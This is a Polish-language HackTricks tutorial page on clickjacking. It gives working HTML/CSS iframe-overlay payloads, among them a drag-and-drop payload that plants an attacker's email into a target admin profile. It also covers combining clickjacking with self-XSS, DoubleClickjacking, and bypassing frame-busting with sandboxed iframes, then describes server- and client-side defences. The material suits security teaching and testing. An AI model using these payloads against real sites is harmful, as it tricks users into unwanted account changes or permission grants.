Clickjacking
Reading time: 7 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Co to jest Clickjacking
W ataku clickjacking, użytkownik jest oszukiwany w celu kliknięcia w element na stronie internetowej, który jest albo niewidoczny, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub informacji wrażliwych, przelewy pieniędzy lub zakupy produktów online.
Sztuczka z prewypełnieniem formularzy
Czasami możliwe jest wypełnienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony. Atakujący może nadużyć tego zachowania, aby wypełnić formularz dowolnymi danymi i wysłać ładunek clickjacking, aby użytkownik nacisnął przycisk Wyślij.
Wypełnij formularz za pomocą Drag&Drop
Jeśli potrzebujesz, aby użytkownik wypełnił formularz, ale nie chcesz bezpośrednio prosić go o wpisanie jakichś konkretnych informacji (jak e-mail czy konkretne hasło, które znasz), możesz po prostu poprosić go o Drag&Drop coś, co zapisze twoje kontrolowane dane, jak w tym przykładzie.
Podstawowy ładunek
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Wieloetapowy ładunek
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click ładunek
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Jeśli zidentyfikowałeś atak XSS, który wymaga, aby użytkownik kliknął na jakiś element, aby wywołać XSS, a strona jest vulnerable to clickjacking, możesz to wykorzystać, aby oszukać użytkownika do kliknięcia przycisku/linku.
Przykład:
Znalazłeś self XSS w niektórych prywatnych danych konta (dane, które tylko ty możesz ustawić i odczytać). Strona z formularzem do ustawienia tych danych jest vulnerable na Clickjacking i możesz prepopulate formularz parametrami GET.
Napastnik mógłby przygotować atak Clickjacking na tę stronę, prepopulate formularz ładunkiem XSS i oszukać użytkownika do przesłania formularza. Tak więc, gdy formularz zostanie przesłany i wartości zostaną zmodyfikowane, użytkownik wykona XSS.
DoubleClickjacking
Po raz pierwszy wyjaśnione w tym poście, ta technika wymagałaby od ofiary podwójnego kliknięcia na przycisk na niestandardowej stronie umieszczonej w określonym miejscu i wykorzystania różnic czasowych między zdarzeniami mousedown a onclick, aby załadować stronę ofiary podczas podwójnego kliknięcia, tak aby ofiara faktycznie kliknęła na legitny przycisk na stronie ofiary.
Przykład można zobaczyć w tym filmie: https://www.youtube.com/watch?v=4rGvRRMrD18
warning
Ta technika pozwala oszukać użytkownika, aby kliknął w 1 miejsce na stronie ofiary, omijając wszelkie zabezpieczenia przeciwko clickjacking. Dlatego napastnik musi znaleźć wrażliwe akcje, które można wykonać za pomocą tylko 1 kliknięcia, takie jak monity OAuth akceptujące uprawnienia.
Strategie łagodzenia Clickjacking
Ochrona po stronie klienta
Skrypty wykonywane po stronie klienta mogą podejmować działania, aby zapobiec Clickjacking:
- Zapewnienie, że okno aplikacji jest głównym lub górnym oknem.
- Uczynienie wszystkich ramek widocznymi.
- Zapobieganie kliknięciom w niewidoczne ramki.
- Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty frame-busting mogą być obejście:
- Ustawienia zabezpieczeń przeglądarek: Niektóre przeglądarki mogą blokować te skrypty w zależności od ich ustawień zabezpieczeń lub braku wsparcia dla JavaScript.
- Atrybut
sandbox
iframe HTML5: Napastnik może zneutralizować skrypty frame buster, ustawiając atrybutsandbox
z wartościamiallow-forms
luballow-scripts
bezallow-top-navigation
. To uniemożliwia iframe weryfikację, czy jest górnym oknem, np.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Wartości allow-forms
i allow-scripts
umożliwiają działania w obrębie iframe, jednocześnie wyłączając nawigację na najwyższym poziomie. Aby zapewnić zamierzoną funkcjonalność docelowej witryny, mogą być konieczne dodatkowe uprawnienia, takie jak allow-same-origin
i allow-modals
, w zależności od rodzaju ataku. Wiadomości w konsoli przeglądarki mogą wskazać, które uprawnienia należy zezwolić.
Ochrona po stronie serwera
X-Frame-Options
Nagłówek odpowiedzi HTTP X-Frame-Options
informuje przeglądarki o legalności renderowania strony w <frame>
lub <iframe>
, pomagając zapobiegać Clickjacking:
X-Frame-Options: deny
- Żaden domena nie może osadzić treści.X-Frame-Options: sameorigin
- Tylko bieżąca witryna może osadzić treść.X-Frame-Options: allow-from https://trusted.com
- Tylko określony 'uri' może osadzić stronę.- Zauważ ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors.
Dyrektywa frame-ancestors w polityce bezpieczeństwa treści (CSP)
Dyrektywa frame-ancestors
w CSP jest zalecaną metodą ochrony przed Clickjacking:
frame-ancestors 'none'
- Podobnie jakX-Frame-Options: deny
.frame-ancestors 'self'
- Podobnie jakX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Podobnie jakX-Frame-Options: allow-from
.
Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny:
Content-Security-Policy: frame-ancestors 'self';
Dalsze szczegóły i złożone przykłady można znaleźć w dokumentacji frame-ancestors CSP oraz dokumentacji frame-ancestors Mozilli.
Polityka bezpieczeństwa treści (CSP) z child-src
i frame-src
Polityka bezpieczeństwa treści (CSP) to środek bezpieczeństwa, który pomaga w zapobieganiu Clickjacking i innym atakom wstrzykiwania kodu, określając, które źródła przeglądarka powinna zezwolić na ładowanie treści.
Dyrektywa frame-src
- Definiuje ważne źródła dla ramek.
- Jest bardziej szczegółowa niż dyrektywa
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ta polityka pozwala na ramki z tego samego pochodzenia (self) oraz https://trusted-website.com.
Dyrektywa child-src
- Wprowadzona w poziomie 2 CSP w celu ustawienia ważnych źródeł dla pracowników sieciowych i ramek.
- Działa jako zapas dla frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ta polityka pozwala na ramki i pracowników z tego samego pochodzenia (self) oraz https://trusted-website.com.
Uwagi dotyczące użycia:
- Deprecjacja: child-src jest stopniowo wycofywane na rzecz frame-src i worker-src.
- Zachowanie w przypadku braku: Jeśli frame-src jest nieobecny, child-src jest używane jako zapasowe dla ramek. Jeśli oba są nieobecne, używane jest default-src.
- Ścisła definicja źródła: Uwzględnij tylko zaufane źródła w dyrektywach, aby zapobiec wykorzystaniu.
Skrypty JavaScript łamiące ramki
Chociaż nie są całkowicie niezawodne, oparte na JavaScript skrypty łamiące ramki mogą być używane do zapobiegania osadzaniu strony internetowej w ramkach. Przykład:
if (top !== self) {
top.location = self.location
}
Wykorzystanie tokenów Anti-CSRF
- Walidacja tokenów: Użyj tokenów anti-CSRF w aplikacjach internetowych, aby zapewnić, że żądania zmieniające stan są wykonywane celowo przez użytkownika, a nie przez stronę Clickjacked.
References
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.